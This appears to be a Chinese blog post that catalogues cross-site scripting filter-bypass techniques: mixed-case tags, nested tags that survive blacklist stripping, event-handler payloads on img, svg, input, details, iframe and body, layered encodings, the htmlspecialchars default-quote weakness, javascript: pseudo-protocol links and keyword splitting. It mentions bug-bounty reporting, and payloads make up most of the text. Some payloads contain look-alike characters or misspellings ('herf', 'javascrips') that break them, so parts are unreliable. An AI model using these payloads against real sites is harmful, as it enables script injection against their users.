赞
踩
HTML对标签大小写不敏感,可以利用大小写混用绕过
例如:<script>改为<ScRiPt>
例如:js伪协议javascript:alert('xss');可以改为java script:alert('xss');
等
有些情况的规则会将黑名单标签替换为空,可以利用这一点构造标签
例如:<script>改为<scr<script>ipt>
同理某些注释符在规则中也会替换为空,这时候可以利用它构造payload
例如:<script>改为<scr<!---test--->ipt>
就是加入一些事件 此方法可绕过大部分SRC域名过滤器,它允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick
事件 描述
onclick 在用户使用鼠标左键点击对象时触发
ondblclick 用户双击对象时触发
onmousedown 用户用任何鼠标按键单击对象时触发
onmouseenter/onmouseover 用户将鼠标指针移动到对象内时触发
onmouseleave/onmouseout 用户将鼠标移出对象边界时触发
onmousemove 用户将鼠标划过对象时触发
onmouseup 用户在鼠标位于对象之上时释放鼠标按钮触发
onmousewheel 鼠标滚轮按钮旋转时触发
onpaste 用户粘贴数据以便从剪切板向文档传输数据在目标对象上时触发
onpropertychange 在对象上发生对象属性更改时触发
onkeydown 用户按下键盘按键时触发
onerror 装载文档或图像的过程中发生错误时触发
onload 加载完毕自动触发
非黑名单标签和事件
<img>
payload:<img src=1 οnerrοr=alert("xss");>
<input>
payload: <input οnfοcus="alert('xss');">
<input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件
<input οnfοcus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件
<details>
payload: <details οntοggle="alert('xss');">
<details open οntοggle="alert('xss');"> #使用open属性触发ontoggle事件
<svg>
payload: <svg οnlοad=alert("xss");>
<iframe>
payload: <iframe οnlοad=alert("xss");></iframe>
<body>
payload: <body/οnlοad=alert("xss");>
js编码、base64编码、url编码、html编码
例1:一次编码案例
- #使用事件属性onerror()的原始payload:
- <img src=# onerror=alert"('yangshuang')"/>
-
- #使用HTML_ENTITY编码后的payload:
- <a src=x onerror="alert('yangshuang')"/>
例2:多次编码案例解析如下编码
- #原始payload
-
- <a herf="javascrips:alert(XSS)"> </a>
- #使用unicode的UTF-16编码alert这个字符
- <a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)"> </a>
- #再用url编码alert的中间结果
- <a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)"> </a>
- #最后用html实体编码,再编码整个payload
- 太长了,略
-
- #该函数的语法:
- htmlspecialchars(string,flags,character-set,double_encode)
- #可用的quotestyle类型:
- ENT_COMPAT - 默认。仅编码双引号
- ENT_QUOTES - 编码双引号和单引号
- ENT_NOQUOTES - 不编码任何引号
- #预定义的字符是:
- & (和号) 成为 &
- " (双引号) 成为 "
- ’ (单引号) 成为 '
- < (小于) 成为 <
- > (大于) 成为 >
过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
- # 默认配置下,可使用以下语句绕过:
- q' onclick='alert(111)'
6、伪协议
实战日管理员难顶,但是你提交src的话 还是会收的
他过滤了on函数这些 肯定用不了 但是可以用伪协议
<a href="javascript:alert(1)">1</a>
<iframe src="javascript:alert(1)">
<img src="javascript:alert('xss')">
<table background="javascript:alert('xss')"></table>
7、拆分关键字
window["al" + "ert"]
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。